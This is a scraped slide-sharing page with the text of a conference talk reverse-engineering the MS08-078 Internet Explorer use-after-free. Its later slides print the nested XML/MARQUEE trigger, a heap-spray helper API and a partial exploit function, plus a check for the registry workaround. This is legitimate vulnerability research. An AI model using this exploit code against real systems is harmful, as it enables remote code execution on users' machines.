Toorcon - Purple Haze: The Spear Phishing Experience
Toorcon - Purple Haze: The Spear Phishing ExperienceToorcon - Purple Haze: The Spear Phishing Experience
Toorcon - Purple Haze: The Spear Phishing Experience
 
150104 3 methods for-binary_analysis_and_valgrind
150104 3 methods for-binary_analysis_and_valgrind150104 3 methods for-binary_analysis_and_valgrind
150104 3 methods for-binary_analysis_and_valgrind
 

More from Nelson Brito

Próximo passo evolutivo de um DB Scanner
Próximo passo evolutivo de um DB ScannerPróximo passo evolutivo de um DB Scanner
Próximo passo evolutivo de um DB ScannerNelson Brito
 
Inception: Support Slides
Inception: Support SlidesInception: Support Slides
Inception: Support SlidesNelson Brito
 
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)Nelson Brito
 
Keynote: Where is my identity?
Keynote: Where is my identity?Keynote: Where is my identity?
Keynote: Where is my identity?Nelson Brito
 
Worms 2.0: Evolution — From SyFy to "You Die"
Worms 2.0: Evolution — From SyFy to "You Die"Worms 2.0: Evolution — From SyFy to "You Die"
Worms 2.0: Evolution — From SyFy to "You Die"Nelson Brito
 
Inception: A reverse-engineer horror History
Inception: A reverse-engineer horror HistoryInception: A reverse-engineer horror History
Inception: A reverse-engineer horror HistoryNelson Brito
 
Worms: Conheça o inimigo e defenda-se
Worms: Conheça o inimigo e defenda-seWorms: Conheça o inimigo e defenda-se
Worms: Conheça o inimigo e defenda-seNelson Brito
 

More from Nelson Brito (7)

Próximo passo evolutivo de um DB Scanner
Próximo passo evolutivo de um DB ScannerPróximo passo evolutivo de um DB Scanner
Próximo passo evolutivo de um DB Scanner
 
Inception: Support Slides
Inception: Support SlidesInception: Support Slides
Inception: Support Slides
 
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
DoS: From "Galactic Network" to "Service Unavailable" (Support Slides)
 
Keynote: Where is my identity?
Keynote: Where is my identity?Keynote: Where is my identity?
Keynote: Where is my identity?
 
Worms 2.0: Evolution — From SyFy to "You Die"
Worms 2.0: Evolution — From SyFy to "You Die"Worms 2.0: Evolution — From SyFy to "You Die"
Worms 2.0: Evolution — From SyFy to "You Die"
 
Inception: A reverse-engineer horror History
Inception: A reverse-engineer horror HistoryInception: A reverse-engineer horror History
Inception: A reverse-engineer horror History
 
Worms: Conheça o inimigo e defenda-se
Worms: Conheça o inimigo e defenda-seWorms: Conheça o inimigo e defenda-se
Worms: Conheça o inimigo e defenda-se
 

Recently uploaded

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch TuesdayIvanti
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Glenn Lazarus- Why Your Observability Strategy Needs Security Observability
Glenn Lazarus- Why Your Observability Strategy Needs Security ObservabilityGlenn Lazarus- Why Your Observability Strategy Needs Security Observability
Glenn Lazarus- Why Your Observability Strategy Needs Security Observabilityitnewsafrica
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Abdul Kader Baba- Managing Cybersecurity Risks and Compliance Requirements i...
Abdul Kader Baba- Managing Cybersecurity Risks  and Compliance Requirements i...Abdul Kader Baba- Managing Cybersecurity Risks  and Compliance Requirements i...
Abdul Kader Baba- Managing Cybersecurity Risks and Compliance Requirements i...itnewsafrica
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Nikki Chapple
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 

Recently uploaded (20)

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch Tuesday
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Glenn Lazarus- Why Your Observability Strategy Needs Security Observability
Glenn Lazarus- Why Your Observability Strategy Needs Security ObservabilityGlenn Lazarus- Why Your Observability Strategy Needs Security Observability
Glenn Lazarus- Why Your Observability Strategy Needs Security Observability
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Abdul Kader Baba- Managing Cybersecurity Risks and Compliance Requirements i...
Abdul Kader Baba- Managing Cybersecurity Risks  and Compliance Requirements i...Abdul Kader Baba- Managing Cybersecurity Risks  and Compliance Requirements i...
Abdul Kader Baba- Managing Cybersecurity Risks and Compliance Requirements i...
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 

A client-side vulnerability under the microscope!

  • 1. A client-side vulnerability under the microscope! Nelson Brito Security Research Enthusiast
  • 2. Agenda Motivation Inception Dream Level 1 Dream Level 2 Dream Level 3 Kick or Limbo Questions “if(time) BONUS();”
  • 4. Misinformation Many presentations have been done in Brazil, regarding reverse engineer, as well as too much useless information: Mostly related to purpose-built frameworks, tools and libraries. Some others addressing how to translate to a readable format. Leaving the apprentices in a “black hole”, with tons of misinformation. I call this deception. The community demands much more than simple “hello world” bugs. Since you have created the bug, you can exploit it easily.
  • 5. Inception “The most resilient parasite is an idea planted in the unconscious mind...”
  • 6. Reverse Engineer Every time a new vulnerability comes out, we should be ready to understand it, in order to perform: Exploitation, Detection, Prevention and Mitigation. Sometimes, none or just a few information regarding a new vulnerability is publicly available. Sometimes, these information regarding a new vulnerability are wrong or, to be polite, uncompleted. Reverse engineer is one of the most powerful approaches available to deeply understand a new vulnerability, and, sometimes, to rediscover (?) the new vulnerability.
  • 7. Design the dream levels vulnerability vulnerable exploitation ecosystem prevention arbitrary code attack prevention
  • 8. Kick or Limbo Dream Level 3 Dream Level 2 Dream Level 1 Design the dream levels vulnerability specification documentation vulnerable ecosystem black box knowledge base code review white box knowledge reverse engineer black box base knowledge exploitation base prevention arbitrary code attack prevention
  • 9. Dream Level 1 Preparing the vulnerable ecosystem...
  • 10. Checklist Has a vulnerability been chosen? There is nothing to do without a vulnerability. Are there valuable information about the vulnerability? Gather valuable information to understand the weakness type regarding the vulnerability, as well as any feature and/or technology surrounding to trigger the vulnerability. Is the vulnerable ecosystem affordable? Avoid exotic vulnerable ecosystem, because it must be configured as a test-bed and its deep knowledge are “sine qua non”. Are there public tools available to perform a reverse engineer? A good set of public tools will define the success of the reverse engineer – development skills are always necessary, otherwise the reverse engineer will fail. Which analysis method should be applied? Choose and understand the analysis method that will be applied.
  • 11. Valuable information MS08-078: CVE-2008-4844. CWE-367 – TOCTOU Race Condition. CVSS – 9.3 (HIGH). Affected systems: Microsoft Internet Explorer 5.01 SP4, 6 SP 0/1, 7 and 8 Beta 1/2. Microsoft Windows XP SP 1/2/3, Vista SP 0/1/2, Server 2003 SP 0/1/2 and Server 2008 SP 0/1/2.
  • 12. Public tools Debugging T ools for Windows: It is a set of extensible tools for debugging device drivers for the Microsoft Windows family of operating systems. It supports debugging of: Applications, services, drivers, and the Windows kernel. Native 32-bit x86, native Intel Itanium, and native x64 platforms. Microsoft Windows NT 4, 2000, XP, Vista, Server 2003 and Server 2008. User-mode programs and kernel-mode programs. Live targets and dump files. Local and remote targets. The IDA (Interactive DisAssembler) Pro 5.0 Freeware is also recommended.
  • 13. Analysis methods White box: Also known as Static Code Analysis, and it looks at applications in non-runtime environment. Black Box: Also known as Dynamic Code Analysis, and it looks at applications in runtime environment. Grey/Gray Box: It is a mix of White Box and Black Box.
  • 14. Checklist Has a vulnerability been chosen? MS08-078 (CVE-2008-4844). Are there valuable information about the vulnerability? Keywords: “XML Island”, “Data Binding”, “use-after-free”, “MSHTML.dll”, “XML document”, “<SPAN>”, “nested”. Is the vulnerable ecosystem affordable? Microsoft Internet Explorer 7 and Microsoft Windows XP SP3 Are there public tools available to perform a reverse engineer? Debugging T ools for Windows, Windows Symbol Package for Windows XP SP3 and IDA Pro 5.0 Freeware Version. Which analysis method should be applied? White Box, Black Box and Grey/Gray Box.
  • 15. Dream Level 2 Gathering valuable information of vulnerability...
  • 16. XML island XML Data Island: XML document that exists within an HTML page. Allows to script against the XML document: Without having to load the XML document through script or through the HTML <OBJECT> element. XML Data Island can be embedded using one of the following methods: HTML <XML> element. HTML <SCRIPT> element.
  • 17. Data binding Data Source Object (DSO): T bind data to the elements of an HTML page in Microsoft Internet o Explorer, a DSO must be present on that page. Data Consumers: Data consumers are elements on the HTML page that are capable of rendering the data supplied by a DSO. Binding Agent and T able Repetition Agent: The binding and repetition agents are implemented by MSHTML.dll, the HTML viewer for Microsoft Internet Explorer, and they work completely behind the scenes.
  • 18. Use-after-free Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code. Use-after-free errors have two common and sometimes overlapping causes: Error conditions and other exceptional circumstances. Confusion over which part of the program is responsible for freeing the memory. Briefly, an use-after-free vulnerability can lead to execute arbitrary code.
  • 19. Microsoft® HTML Viewer MSHTML.dll is at the heart of Internet Explorer and takes care of its HTML and Cascading Style Sheets (CSS) parsing and rendering functionality. MSHTML.dll exposes interfaces that enable you to host it as an active document. MSHTML.dll may be called upon to host other components depending on the HTML document's content, such as: Scripting Engines: Microsoft Java Scripting (JScript). Visual Basic Scripting (VBScript). ActiveX Controls. XML Data.
  • 20. XML document Defined by W3C: “Extensible Markup Language (XML) 1.0 (Fifth Edition)” (November 28th, 2008). XML elements must follow some basic name rules: Names can contain letters, numbers, and other characters. Names must not start with a number or punctuation character. Names must not start with the letters xml (or XML, or Xml, etc). Names cannot contain spaces. There are only five built-in character entities for XML: “<”, “>”, “&”, “”” and “’”.
  • 21. Dream Level 3 Analyzing the vulnerability...
  • 22. T riggering First clue about this trigger came from Microsoft Security Development Lifecycle (SDL): “T riggering the bug would require a fuzzing tool that builds data streams with multiple data binding constructs with the same identifier.”, “Random (or dumb) fuzzing payloads of this data type would probably not trigger the bug, however.”, “When data binding is used, IE creates an object which contains an array of data binding objects.” It might mean that one – or more – of the following objects must be nested to be “allocated” and “released”: XML Data Island, Data Source Object (DSO) and/or Data Consumers. Nested means: <{Element}><{Element}></{Element}></{Element}>
  • 23. Mapping The first contact is the most important reverse engineer step. It will define all the next steps the reverse engineer will follow in order to acquire knowledge about the vulnerability. Remember: “It’s the first impression that stays on!” The first contact (impression) will lead all the rest of reverse engineer , no matter what is done after – pay attention. Ensure to load the Windows symbol files, in order to understand the vulnerability – it will be very helpful to map the object classes, properties and/or methods.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30. esi = ((dword ptr [edi+8]) >> 2) - 1; ebx = 0; ! do{ eax = dword ptr [edi+12]; ecx = dword ptr [eax+ebx*4]; if(!(ecx)) break; ecx->mshtml!CXfer::T ransferFromSrc(); ... ebx++; }while(ebx <= esi);
  • 31. Kick or Limbo Exploiting the vulnerability...
  • 33. <XML ID=I><X><C> &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt; </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 34. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 35. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 36. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 37. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 38. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 39. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE> mshtml!CXfer::T ransferFromSrc+0x38 EIP = DWORD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}
  • 40. Heap-spraying Wikipedia description: “In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution.” “In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process' heap and fill the bytes in these blocks with the right values.” A JavaScript library has been created to optimize the exploitation – inspired on: JavaScript Heap Exploitation library by Alexander Sotirov.
  • 41. var obj = new Exploit(); obj.address(address,format) obj.ascii(method,format,size) obj.banner(memory) obj.check(address,shellcode,memory) obj.chunk1mb(block64k) obj.chunk64k(address,shellcode) ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! obj.even(shellcode) obj.heap(block1mb,memory) obj.hexa(address,size) obj.memory(address) obj.random(maximum) obj.shellcode(shellcode,format) obj.spray(address,shellcode,memory)
  • 42. function Inception (){ var ms08_078 = new Exploit(); var choice, memory, address, shellcode, trigger = new String(); ms08_078.offset = [0x0a0a0a0a]; ms08_078.code[1] = “cc cc cc cc”; choice = ms08_078.random(ms08_078.offset.length); memory = ms08_078.memory(ms08_078.offset[choice]); address = ms08_078.address(ms08_078.offset[choice], 0); shellcode = ms08_078.shellcode(ms08_078.code[1], 0); trigger = trigger.concat(“<XML ID=I><X><C>...”); ... if(ms08_078.spray(address, shellcode, memory)) document.getElementById(“b00m”).innerHTML = trigger; }
  • 45. BONUS There is much more ground to be covered...
  • 46. Disable XML island functionality Create a backup copy of the registry keys by using the following command from an elevated command prompt: ... Next, save the following to a file with a .REG extension, such as Disable_XML_Island.reg: Windows Registry Editor Version 5.00 [ - H K E Y _ C L A S S E S _ RO OT C L S I D { 3 7 9 E 5 0 1 F- B 2 3 1 - 1 1 D 1 ADC1-00805FC752D8}] Run Disable_XML_Island.reg with the following command from an elevated command prompt: Regedit.exe /s Disable_XML_Island.reg
  • 47. Bypassing workaround XML Data Source Object 1.0 550DDA30-0541-11D2-9CA9-0060B0EC3D39 XML Data Source Object 3.0 F5078F39-C551-11D3-89B9-0000F81FE221 F6D90F14-9C73-11D3-B32E-00C04F990BB4 T abular Data Control 333C7BC4-460F-11D0-BC04-0080C7055A83
  • 48. var ms08_078 = new Exploit(); var ... automation = new Boolean(false), wshell, hkey = “HKCRCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}”; try{ wshell = new ActiveXObject(“WScript.Shell”); automation = true; } catch(error) { automation = false; } if(automation){ try { wshell.RegRead(hkey); } catch(error) { automation = false; } }
  • 49. CVE description Previous CVE-2008-4844 description: Use-after-free vulnerability in mshtml.dll in Microsoft Internet Explorer 5.01, 6, and 7 on Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote attackers to execute arbitrary code via a crafted XML document containing nested SPAN elements, as exploited in the wild in December 2008. Current CVE-2008-4844 description: Use-after-free vulnerability in the CRecordInstance::T ransferT oDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) T abular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.
  • 50. Thank you! ©2011-2013 Nelson Brito. All rights reserved. http://about.me/nbrito